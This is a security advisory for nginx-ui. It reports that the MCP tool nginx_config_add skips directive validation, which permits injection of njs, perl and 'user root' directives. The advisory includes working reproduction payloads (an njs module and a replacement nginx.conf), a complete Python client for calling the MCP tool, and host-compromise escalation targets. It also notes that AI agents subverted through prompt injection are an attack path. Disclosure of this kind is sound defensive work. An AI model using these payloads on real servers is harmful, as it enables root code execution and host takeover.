GHSA-76pm-mq2q-9gcr: Input Validation
Summary internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives — js, perl, loadmodule of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/configmodify.go. The fourth path — the MCP tool nginxconfigadd (mcp/config/configadd.go) — does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image).
Root cause — an incomplete hardening patch Commit 3e411d38 ("Harden config write paths", 2026-04-21) introduced ValidateConfigFile and wired it into the config-write paths — but its changeset touched only: api/config/add.go (+6), api/config/modify.go (+8), internal/config/validation.go (+199), mcp/config/configmodify.go (+5) It did NOT touch mcp/config/configadd.go. So the MCP add path was left without the validation that all of its sibling paths received. configadd.go has never called ValidateConfigFile (verified via git history); this is an oversight in the hardening, not a regression.
Affected code (mcp/config/configadd.go, handleNginxConfigAdd) go content := mcp.GetString(args, "content") // caller-controlled ... path, err := config.ResolveConfPath(baseDir, name) // path is sandboxed to the conf dir (OK) ... err = os.WriteFile(path, []byte(content), 0644) // <-- no config.ValidateConfigFile(path, content) ... res := nginx.Control(nginx.Reload) // reloads nginx Contrast — the guarded sibling (mcp/config/configmodify.go) does: go err = config.ValidateConfigFile(absPath, content) // rejects js/perl/loadmodule/user root if err != nil { return nil, err }
Proof of Concept (live, Docker, official image) Image uozi/nginx-ui:2.3.11, nginx 1.31.0. Authenticated with a valid node secret (X-Node-Secret). MCP over SSE; client script pocmcpclient.py attached.
1) Validation bypass (decisive): - tools/call nginxconfigadd {name:"pocblocked.conf", basedir:"sites-available", content:"jsimport poc.js;\nperlset $x 'sub{return 1}';\nuser root;\nloadmodule .../ngxhttpjsmodule.so;"} → SUCCESS; file written verbatim (confirmed on disk). - Same content via nginxconfigmodify → REJECTED: {"code":-32603,"message":"file content contains restricted nginx directive: jsimport"}.
2) Effect (using only the vulnerable configadd tool): - Wrote /etc/nginx/poc.js (njs module) and overwrote /etc/nginx/nginx.conf with loadmodule .../ngxhttpjsmodule.so; user root; ... jsimport poc ...; server{ listen 8899; location=/pwn { jscontent poc.pwn; } }. Tool returned SUCCESS (reload succeeded; nginx -t ok). - /proc/<worker>/status → Uid: 0 0 0 0 (workers run as root — user root took effect). - GET http://127.0.0.1:8899/pwn → pwned (njs jscontent executed). - /tmp/NJSRCEPROOF.txt created, owned by root → JavaScript code execution in the nginx worker performing arbitrary file write as root.
Reproduction payloads (self-contained) njs module written to /etc/nginx/poc.js via nginxconfigadd (name="poc.js", basedir=""): js import fs from 'fs'; function pwn(r){ try{ fs.writeFileSync('/tmp/NJSRCEPROOF.txt','njs-code-exec-ok\n'); }catch(e){ r.return(200,'ERR:'+e); return; } r.return(200,'pwned\n'); } export default { pwn }; Main config overwritten via nginxconfigadd (name="nginx.conf", basedir="", overwrite=true): nginx loadmodule /usr/lib/nginx/modules/ngxhttpjsmodule.so; user root; workerprocesses 1; errorlog /var/log/nginx/error.log notice; pid /run/nginx.pid; events { workerconnections 1024; } http { include /etc/nginx/mime.types; defaulttype application/octet-stream; jsimport poc from /etc/nginx/poc.js; server { listen 8899; location = /pwn { jscontent poc.pwn; } } }
PoC client (MCP-over-SSE, Python stdlib only) Set SECRET to a valid node secret (printed in nginx-ui's first-boot logs) or a user JWT. Usage: python3 pocmcpclient.py list then python3 pocmcpclient.py call <tool> '<json-args>'. python import sys, json, threading, queue, time, http.client BASE = "127.0.0.1:9000" SECRET = "<NODESECRETORJWT>" HDR = {"X-Node-Secret": SECRET} # or {"Authorization": "Bearer <JWT>"} respq = queue.Queue(); endpoint = {}
def ssereader(): conn = http.client.HTTPConnection(BASE, timeout=60) conn.request("GET", "/mcp", headers={HDR, "Accept": "text/event-stream"}) r = conn.getresponse(); event = None while True: line = r.fp.readline() if not line: break line = line.decode("utf-8","replace").rstrip("\r\n") if line.startswith("event:"): event = line[6:].strip() elif line.startswith("data:"): data = line[5:].strip() if event == "endpoint": endpoint["url"] = data; endpoint["ready"] = True else: respq.put(data) elif line == "": event = None
def post(obj): conn = http.client.HTTPConnection(BASE, timeout=30) conn.request("POST", endpoint["url"], body=json.dumps(obj).encode(), headers={HDR, "Content-Type": "application/json"}) return conn.getresponse().read()
def wait(wid, t=20): end = time.time()+t while time.time() < end: try: d = respq.get(timeout=t) except queue.Empty: break try: j = json.loads(d) except Exception: continue if j.get("id") == wid: return j
threading.Thread(target=ssereader, daemon=True).start() for in range(50): if endpoint.get("ready"): break time.sleep(0.1) post({"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05", "capabilities":{},"clientInfo":{"name":"poc","version":"1"}}}); wait(1) post({"jsonrpc":"2.0","method":"notifications/initialized","params":{}}) cmd = sys.argv[1] if len(sys.argv) > 1 else "list" if cmd == "list": post({"jsonrpc":"2.0","id":2,"method":"tools/list","params":{}}) print([t["name"] for t in wait(2)["result"]["tools"]]) elif cmd == "call": post({"jsonrpc":"2.0","id":3,"method":"tools/call", "params":{"name":sys.argv[2],"arguments":json.loads(sys.argv[3])}}) print(json.dumps(wait(3, 25), indent=1))
Impact An authenticated MCP principal — or a connected AI agent subverted via prompt injection — bypasses the directive-validation security control and injects directives the project explicitly blocks elsewhere. On deployments with the njs/perl module available (the official Docker image ships ngxhttpjsmodule.so), this yields code execution in the nginx worker and, via user root, arbitrary file read/write as root (trivially escalated to full host compromise: /root/.ssh/authorizedkeys, /etc/cron.d/, overwriting a binary). On stock nginx without those modules it is a reliable DoS (failed reload) plus a user root privilege regression.
Honest scope / caveats - Authenticated (node secret or user JWT), agent-mediated — not unauthenticated. - RCE is conditional on the njs/perl module being present; it ships in the official image, so the default Docker deployment is exploitable. Stock nginx without those modules → DoS instead. - The write path is sandboxed to the nginx conf dir (no path traversal); the bug is directive injection. (The main nginx.conf is inside that dir and can be overwritten with overwrite=true.) - nginx-ui runs as root by design (it manages nginx); the bypass additionally lets request-handling workers run as root via user root.
Suggested fix Call config.ValidateConfigFile(path, content) in handleNginxConfigAdd before os.WriteFile, matching mcp/config/configmodify.go and the API paths — i.e. complete the 3e411d38 hardening on the one path it missed.
--- (NOT a form field — include this as the closing section of the Description above) ---
Dedup / novelty Distinct from CVE-2026-33032 (GHSA-h6c2-x2m2-mwhf, "Unauthenticated MCP Endpoint"), whose root cause is a MISSING AUTH middleware on /mcpmessage (now fixed by adding AuthRequired) and which does not involve config-content validation. This report is an AUTHENTICATED bypass of the directive-validation control on the configadd path, and works on a fully patched (post-33032) instance. No existing CVE/GHSA covers the configadd validation gap (checked osv.dev and the GitHub advisory database for this repo). Appears novel.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/0xJacky/Nginx-UIto a version that resolves this vulnerability.Fixed in 1.9.10-0.20260703131214-23d1934099b0 - Configuration
Call config.ValidateConfigFile(path, content) in handleNginxConfigAdd before os.WriteFile, matching the validation enforced on the other config-write paths.
nginx-ui mcp/config/config_add.go config.ValidateConfigFile validation = enabled before os.WriteFile
Event History
Frequently Asked Questions
Who is exposed to this issue?
Deployments that expose the MCP nginx_config_add tool to authenticated callers are affected because that path writes supplied configuration content without validation. MCP agents that can be influenced through prompt injection are also a relevant exposure path.
What does an attacker need to exploit it?
An attacker needs authenticated access to the MCP config-add capability, or the ability to induce an MCP agent to invoke it with attacker-controlled content. No user interaction is required after the malicious configuration is submitted.
When can this lead to code execution?
The injected directives can lead to nginx code execution when the njs or perl module is available. The advisory identifies the official Docker image as an example of a deployment where those modules may be available.
Are the other configuration write paths protected?
The API config add and modify paths, plus the MCP config-modify path, enforce ValidateConfigFile. The unvalidated path described is MCP nginx_config_add in mcp/config/config_add.go.
How can I determine whether my deployment is affected?
Check whether MCP nginx_config_add is enabled or accessible in your deployment and whether it uses the vulnerable config-add implementation without calling ValidateConfigFile. Also assess whether nginx has the njs or perl module available, since those modules enable the described code-execution impact.